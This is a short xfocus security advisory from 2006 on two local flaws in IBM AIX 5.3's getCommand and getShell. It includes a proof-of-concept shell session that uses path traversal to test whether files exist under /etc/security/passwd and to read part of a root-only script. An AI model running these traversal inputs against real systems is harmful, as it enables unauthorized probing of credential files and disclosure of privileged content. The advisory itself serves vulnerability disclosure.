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[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

文章提交:root (webmaster_at_xfocus.org)

Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilities

Affected version : aix5.3 ml03,Other versions not test,
                       should also be affected.
Vendor: http://www.ibm.com/
Where: Local

XFOCUS (http://www.xfocus.org) had already discovered
some vulnerabilities in getCommand&getShell.

After apply newest patch,getCommand&getShell still have two
vulnerabilities,That is
1: exploit that,a attacker can determine file be exist or not,which
should can't readed
2: exploit that,a attacker can read in any shell document(include no
permission file) has the cd operation the following partial content.

example test:
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd
-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aa
fopen:  No such file or directory
-bash-3.00$ ls -ld /etc/security/
drwxr-x--- 4 root security 512  2005-12-22 21:09 /etc/security/
-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40
-bash-3.00$./getCommand.new ../../../../../tmp/k.sh

ps -ef > /tmp/log. $$
grep test /tmp/log.
$$ rm /tmp/log. $$


December,26 2005 - Initial vendor notification
January 1, 2006 - Public disclosure(vendor not reply)